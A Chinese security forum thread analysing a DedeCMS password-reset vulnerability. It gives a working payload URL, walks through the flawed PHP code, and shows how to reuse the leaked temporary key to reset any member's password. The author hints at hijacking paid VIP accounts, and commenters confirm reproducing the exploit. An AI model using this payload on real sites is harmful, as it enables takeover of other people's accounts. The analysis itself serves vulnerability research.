用户
搜索
  • TA的每日心情
    无聊
    2018-6-20 18:13
  • 签到天数: 46 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    红日安全团队

    Rank: 7Rank: 7Rank: 7

    14

    主题

    33

    帖子

    888

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2017-3-13

    i春秋签约作者

    Mochazz i春秋作家 红日安全团队 i春秋签约作者 楼主
    发表于 2018-1-11 12:17:21 249199
    本帖最后由 Mochazz 于 2018-1-12 12:13 编辑

    织梦前台任意用户密码修改

    利用点:使用dedecms并开启会员注册的网站
    payload:
    http://localhost/member/resetpassword.php?i=0.0&dopost=safequestion&safequestion=0.0&safeanswer=&id=1

    问题文件dedecms\member\resetpassword.php,问题出在75行

    else if($dopost == "safequestion")
    {
        $mid = preg_replace("#[^0-9]#", "", $id);
        $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
        $row = $db->GetOne($sql);
        if(empty($safequestion)) $safequestion = '';
    
        if(empty($safeanswer)) $safeanswer = '';
    
        if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
        {
            sn($mid, $row['userid'], $row['email'], 'N');
            exit();
        }
        else
        {
            ShowMsg("对不起,您的安全问题或答案回答错误","-1");
            exit();
        }
    
    }

    按照payload传入的参数,sql语句查询的结果如下

    mysql> SELECT safequestion,safeanswer,userid,email from dede_member WHERE mid = 1;
    +--------------+------------+--------+-------+
    | safequestion | safeanswer | userid | email |
    +--------------+------------+--------+-------+
    |            0 |            | admin  |       |
    +--------------+------------+--------+-------+

    根据这个查询结果,也就意味着等下会调用sn函数,传入的参数如下:

    sn($mid=1, $userid='admin', $mailto='', $send='N')

    接下来继续跟踪sn函数。该函数位于dedecms\member\inc\inc_pwd_functions.php文件中,具体功能如下:

    function sn($mid,$userid,$mailto, $send = 'Y')
    {
        global $db;
        $tptim= (60*10);
        $dtime = time();
        $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
        $row = $db->GetOne($sql);
        if(!is_array($row))
        {
            //发送新邮件;
            newmail($mid,$userid,$mailto,'INSERT',$send);
        }
        //10分钟后可以再次发送新验证码;
        elseif($dtime - $tptim > $row['mailtime'])
        {
            newmail($mid,$userid,$mailto,'UPDATE',$send);
        }
        //重新发送新的验证码确认邮件;
        else
        {
            return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
        }
    }

    默认状态下,临时密码的表为空,如下

    mysql> select * from dede_pwd_tmp;
    Empty set (0.00 sec)

    当我们访问完payload时,链接会自动跳转到http://localhost/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=34qn8KnX

    这里key的值就是admin的临时密码,这时再查询数据库的临时密码表,你会发现多了一条admin的记录

    mysql> select * from dede_pwd_tmp;
    +-----+------------+----------------------------------+------------+
    | mid | membername | pwd                              | mailtime   |
    +-----+------------+----------------------------------+------------+
    |   1 | admin      | 0aa76a6cf6c9abd06df9081f12e094e4 | 1515599643 |
    +-----+------------+----------------------------------+------------+
    1 row in set (0.00 sec)

    这是因为一开始执行 SELECT * FROM #@__pwd_tmp WHERE mid = '$mid' 语句时,返回结果为空,进而会执行160行的newmail函数,传参如下

    newmail($mid=1,$userid='admin',$mailto='',$type='INSERT',$send=N);

    继续跟踪newmail函数(在该文件73行处)

    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
    $mailtime = time();
    $randval = random(8);
    $mailtitle = $cfg_webname.":密码修改";
    $mailto = $mailto;
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
    $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
        }
    }

    我们发现,这个函数往数据库中插入了一条admin的临时密码的记录,并且会跳转到 /resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval 链接

    使用前面获取的key值,访问下面链接即可跳转到用户密码修改页面(注意修改id和key的值,并不是每个人都和我一样)

    http://192.168.2.104/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=FRfsUlnx

    但是默认情况下,admin在会员中心是静止登录的,也就是说即使你修改成功了admin会员的密码,还是不能登录admin,但是其他的会员就可以随意登录。比如一些论坛的资源教程需要vip,你可以修改vip用户的密码,然后。。。啊,不说了,你懂的。


    本帖被以下淘专辑推荐:

    https://mochazz.github.io
    发表于 2018-1-11 17:52:44
    本帖最后由 Mochazz 于 2018-1-11 17:54 编辑
    InWorld 发表于 2018-1-11 17:35
    请问怎么修改普通会员的密码,我这边修改不成功

    访问这个地址/member/resetpassword.php?dopost=getpasswd&id=1&key=FRfsUlnx  注意修改id和key的值
    https://mochazz.github.io
    使用道具 举报 回复
    Mochazz 发表于 2018-1-12 12:07
    你文章看完了吗?文章上面不是写了key值怎么获取

    刚刚复现了大佬所述漏洞,普通会员都可以修改密码,但是修改了admin的密码,在后台却无法登陆,大佬说下这是为什么?
    使用道具 举报 回复
    Mochazz 发表于 2018-1-11 17:52
    访问这个地址/member/resetpassword.php?dopost=getpasswd&id=1&key=FRfsUlnx  注意修改id和key的值 ...

    key的值怎么得到
    使用道具 举报 回复
    发表于 2018-1-12 11:37:19
    本帖最后由 crZh 于 2018-1-12 11:39 编辑
    crZh 发表于 2018-1-12 11:33
    刚下载安装测试,提示非法修改了。但表中确实插入了数据。访问楼主提供的链接,可以修改 ...

    没有临时密码,也不行
    使用道具 举报 回复
    发表于 2018-1-12 12:07:03
    InWorld 发表于 2018-1-12 09:38
    key的值怎么得到

    你文章看完了吗?文章上面不是写了key值怎么获取
    https://mochazz.github.io
    使用道具 举报 回复
    发表于 2018-1-12 11:33:36
    本帖最后由 crZh 于 2018-1-12 11:35 编辑

    刚下载安装测试,提示非法修改了。但表中确实插入了数据。访问楼主提供的链接,可以修改
    使用道具 举报 回复
    发表于 2018-2-22 18:50:22
    本帖最后由 __LSA__ 于 2018-2-22 18:58 编辑

    这里的修改的是admin前台密码,admin后台密码还要利用另外两个漏洞修改
    使用道具 举报 回复
    发表于 2018-1-11 12:38:14

    其实昨晚就写好了
    https://mochazz.github.io
    使用道具 举报 回复
    发表于 2018-1-11 12:29:11
    可以,效率很快。
    使用道具 举报 回复
    发表于 2018-1-11 14:32:23
    复现成功感谢分享
    使用道具 举报 回复
    发表于 2018-1-11 14:50:19
    dddddddddddddddddddd
    使用道具 举报 回复
    发表于 2018-1-11 15:44:55
    会员功能很多网站都关闭了的   
    小白~~~
    使用道具 举报 回复
    发表于 2018-1-11 15:49:12
    厉害厉害
    博客:http://www.whsgwl.net
    访问速度慢没办法
    使用道具 举报 回复
    发表于 2018-1-11 16:06:17
    厉害了我的哥,感谢分析分享
    使用道具 举报 回复
    发表于 2018-1-11 17:05:21
    大佬,发现这个漏洞需要一行一行看系统的源代码找吗?
    使用道具 举报 回复
    发表于 2018-1-11 17:35:24
    请问怎么修改普通会员的密码,我这边修改不成功
    使用道具 举报 回复
    发表于 2018-1-11 21:01:43
    不错,不错啊,谢谢分享了,呵呵。
    使用道具 举报 回复
    发表于 2018-1-12 09:22:28
    不错,是需要先使用另外一个账号登陆吗?越权更改别人账号密码?
    使用道具 举报 回复
    发表于 2018-1-12 09:47:53
    感谢分享
    做自己的自己 和平年代的炮灰,战争年代的爆破鬼才
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册